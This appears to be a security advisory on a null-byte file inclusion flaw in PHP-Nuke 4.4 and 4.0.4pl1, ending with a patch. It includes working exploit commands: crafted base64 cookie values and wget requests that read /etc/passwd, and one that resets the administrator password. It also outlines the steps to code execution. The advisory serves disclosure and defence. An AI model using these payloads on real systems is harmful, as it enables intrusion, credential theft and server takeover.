COMMAND
PHP-nuke
SYSTEMS AFFECTED
PHP-nuke 4.4, 4.0.4pl1
PROBLEM
Joao Gouveia found following. Any user can gain administrator
previleges. Every file that the webserver has access to, can be
read by anyone. Any user can execute arbitrary commands with the
previleges of the web server.
PHP in some functions, like for example fopen(), include(),
require(), ignores everything after a NULL if one is present.
magic_quotes_gpc = On ; magic quotes for incoming GET/POST/Cookie data
Example:
<? echo $string?>
test.php?string=tes%00t
output:tes\0t
now, with magic_quotes_gpc turned Off.
output:test
The same two tests aplied to an include($string)
magic_quotes_gpc On, output: Warning: Failed opening 'tes\0t' for
inclusion
magic_quotes_gpc Off, output: Warning: Failed opening 'tes' for
inclusion
So, everything after the NULL was ignored.
Of course, one that who uses magic_quotes_gpc turned on isn't
expecting this kind of behaviour. The problem here, as RFP noted
in his post to bugtraq, is that PHP-Nuke uses base64_encode() to
encode it's cookies, and the user information. In this vars
there is a interesting one, the theme configuration (also pointed
out by RFP). The same thing that makes phpnuke not escape the ' ,
also makes it not escape the NULL. So, here's an example:
if ($user) {
$user = base64_decode($user);
$userdata = explode(":", $user);
}
if ($userdata[9] != '') $themes = "themes/$userdata[9]/theme.php";
else $themes = "themes/$Default_Theme/theme.php";
include ("$themes");
Here's a simple way to get /etc/passwd:
jroberto@spike:~ > /bin/echo -e
"1:1:1:1:1:1:1:1:1:../../../../../etc/passwd\000" |uuencode -m f
begin-base64 644 f
MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK
jroberto@spike:~ > wget
'http://target/bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vL
i4vZXRjL3Bhc3N3ZAAK'
-O target.passwd
jroberto@spike:~ > head -n1 target.passwd
root:x:0:0:root:/root:/bin/bash
And, with a litle imagination, here's another way to change the
default administrator (God) password:
jroberto@spike:~ > /bin/echo -e
"1:1:1:1:1:1:1:1:1:../admin/authors.php\000">lixo
jroberto@spike:~ > uuencode -m lixo lixo2
begin-base64 644 lixo2
MToxOjE6MToxOjE6MToxOjE6Li4vYWRtaW4vYXV0aG9ycy5waHAACg==
jroberto@spike:~ > wget
'http://target/bb_smilies.php/admin.php?user=1ToxOjE6MToxOjE6MToxOjE6Li4vYWR
taW4vYXV0aG9ycy5waHAACg==&op=UpdateAuthor&chng_aid=God&chng_pwd=newpass&chng
_name=God&chng_email=qweqwe@asdasd&chng_pwd2=newpass'
-O test
And here's a simple way to execute arbitrary code on the server
(given that it's not running in safe_mode and filemanager is
working). After geting administration previleges, go to the admin
area and give "God" superuser privs (if it isn't enabled). Switch
to the File Manager area, edit/create/rename your choosen file and
insert your php code there.
On a side note to other PHP developers, if your code is expecting
Magic Quotes to be on, then there's no reason for this particular
problem as Magic Quotes can be programatically controlled:
if( ! get_magic_quotes_gpc() ) {
set_magic_quotes_runtime(1) or die("could not enable magic quotes");
}
Anyone using PHP should have this bit-o-code somewhere near the
start of program execution, since few servers are ever built with
the same features or options enabled it just makes sense to check
for the stuff your code needs - especially since magic quotes can
help make exploiting a PHP script much more difficult.
SOLUTION
Version 4.4.1 has been released, for a quick fix see below.
Both in bb_smilies.php and bbcode_ref.php change:
if ($userdata[9] != '') $themes = "themes/$userdata[9]/theme.php";
else $themes = "themes/$Default_Theme/theme.php";
To:
if ($userdata[9] != '') $themes = "themes/$userdata[9]/theme.php";
else $themes = "themes/$Default_Theme/theme.php";
if ( !(strstr(basename($themes),"theme.php")) || !(file_exists($themes)) ){
echo "Invalid Theme"; exit;}
include ("$themes");